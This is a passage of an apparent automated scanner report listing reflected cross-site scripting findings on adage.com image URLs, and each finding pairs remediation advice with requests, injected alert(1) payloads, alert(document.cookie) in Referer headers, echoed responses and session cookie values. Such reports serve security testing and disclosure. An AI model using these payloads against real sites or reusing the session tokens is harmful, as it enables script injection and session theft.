;hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menusf0d35"-alert(1)-"dc7ba67012e/agency_news.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hb
...[SNIP]...

1.31. http://adage.com/images/bottom/menus/agency_news.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/agency_news.png

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f886c"-alert(1)-"fea3f381548 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menus/agency_news.pngf886c"-alert(1)-"fea3f381548?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:25 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=A63032F58A15495B4B20C6ACBAC8FC07DF88DE75; path=/
Set-Cookie: HMAC=F6C1B16B1ACFA0C8EBE0F58835BC71C64ACC0039; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33964

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
in.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menus/agency_news.pngf886c"-alert(1)-"fea3f381548"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.32. http://adage.com/images/bottom/menus/cmo_strategy.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/cmo_strategy.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 192fe"-alert(1)-"142b1a4e1b2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images192fe"-alert(1)-"142b1a4e1b2/bottom/menus/cmo_strategy.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:55 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=DED76B981E04ABE259013F59045F1A72A94F0E0D; path=/
Set-Cookie: HMAC=339B8AFB9E0C610B8213C3F047046844A4DD3546; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33851

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images192fe"-alert(1)-"142b1a4e1b2/bottom/menus/cmo_strategy.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="
...[SNIP]...

1.33. http://adage.com/images/bottom/menus/cmo_strategy.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/cmo_strategy.png

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5b35f"-alert(1)-"9ce9741c99e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom5b35f"-alert(1)-"9ce9741c99e/menus/cmo_strategy.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:11 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=30B120FB0DC4DE05EB02C70941AABF7E431A038F; path=/
Set-Cookie: HMAC=B4C7A649B1B38D5BEF567B256CA40A3496AE43A8; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33965

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom5b35f"-alert(1)-"9ce9741c99e/menus/cmo_strategy.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.
...[SNIP]...

1.34. http://adage.com/images/bottom/menus/cmo_strategy.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/cmo_strategy.png

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8a674"-alert(1)-"0d9cc0a62fb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menus8a674"-alert(1)-"0d9cc0a62fb/cmo_strategy.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:30 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=BDF5A0E11DE7FC2F5E870C80F51EA0D55078F9F2; path=/
Set-Cookie: HMAC=B40EF8B2CA51FF415480932DFA3F05D46A17ECF4; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33965

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
;hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menus8a674"-alert(1)-"0d9cc0a62fb/cmo_strategy.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
h
...[SNIP]...

1.35. http://adage.com/images/bottom/menus/cmo_strategy.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/cmo_strategy.png

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2bf50"-alert(1)-"527244e6b3c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menus/cmo_strategy.png2bf50"-alert(1)-"527244e6b3c?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:45 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=125CF360EAE0C9C8AA2A244A2340BF7B3DE1651F; path=/
Set-Cookie: HMAC=56E9BEF61998079819AB88DAA6707139114884E0; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33965

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
n.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menus/cmo_strategy.png2bf50"-alert(1)-"527244e6b3c"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.36. http://adage.com/images/bottom/menus/digital.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/digital.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4b758"-alert(1)-"5d6e3bb4bde was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images4b758"-alert(1)-"5d6e3bb4bde/bottom/menus/digital.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=FC80E7D65F75E7BD504D0046A13D698C8B2A6944; path=/
Set-Cookie: HMAC=64538544B6EB02E7199E656284DDBB8DB6C4DF16; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33846

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images4b758"-alert(1)-"5d6e3bb4bde/bottom/menus/digital.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms
...[SNIP]...

1.37. http://adage.com/images/bottom/menus/digital.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/digital.png

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f1b3d"-alert(1)-"15f95cd9c41 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottomf1b3d"-alert(1)-"15f95cd9c41/menus/digital.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:14 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=C9EF29EE2A2C60C7870130ADF6A82A44F7E4E1D9; path=/
Set-Cookie: HMAC=6F9BEEF0D277F877C308EF581C4E716A7090F7BD; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33960

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottomf1b3d"-alert(1)-"15f95cd9c41/menus/digital.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";

...[SNIP]...

1.38. http://adage.com/images/bottom/menus/digital.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/digital.png

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload edf0d"-alert(1)-"b5b48bf2766 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menusedf0d"-alert(1)-"b5b48bf2766/digital.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:34 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=F4AC0C52E3D529F9B8CBACEE7D6700BE98EFF9C5; path=/
Set-Cookie: HMAC=ED0C66711D89373A8CC05778B22951651AFCEA2C; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33960

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
;hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menusedf0d"-alert(1)-"b5b48bf2766/digital.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.df
...[SNIP]...

1.39. http://adage.com/images/bottom/menus/digital.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/digital.png

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ab5c2"-alert(1)-"5b16a3940e5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menus/digital.pngab5c2"-alert(1)-"5b16a3940e5?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=ED741B59EEF467FDBFF084CB7ECADE73E3DE9722; path=/
Set-Cookie: HMAC=F53786C6B04A7A3F8EA500EAA4FA9DA0E652E80C; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33960

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menus/digital.pngab5c2"-alert(1)-"5b16a3940e5"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.40. http://adage.com/images/bottom/menus/digital_alist.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/digital_alist.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2a8d1"-alert(1)-"b72c975e859 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images2a8d1"-alert(1)-"b72c975e859/bottom/menus/digital_alist.png?1298907838 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:52 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=F335B6EACF349933152FAF6CDFA5FC77A6C1EE69; path=/
Set-Cookie: HMAC=42A31B44C41629BC07DBA9056A7C1807E69AC5FF; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33852

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1298907838";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images2a8d1"-alert(1)-"b72c975e859/bottom/menus/digital_alist.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf=
...[SNIP]...

1.41. http://adage.com/images/bottom/menus/digital_alist.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/digital_alist.png

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 99408"-alert(1)-"15439cd152d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom99408"-alert(1)-"15439cd152d/menus/digital_alist.png?1298907838 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:10 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=5F8CB2E5778F919FE5DF072D2F65AACDA7CE728B; path=/
Set-Cookie: HMAC=F19CFAA8BB19AE6AC7B523B1443B2E82D014EA2E; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33852

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1298907838";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom99408"-alert(1)-"15439cd152d/menus/digital_alist.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
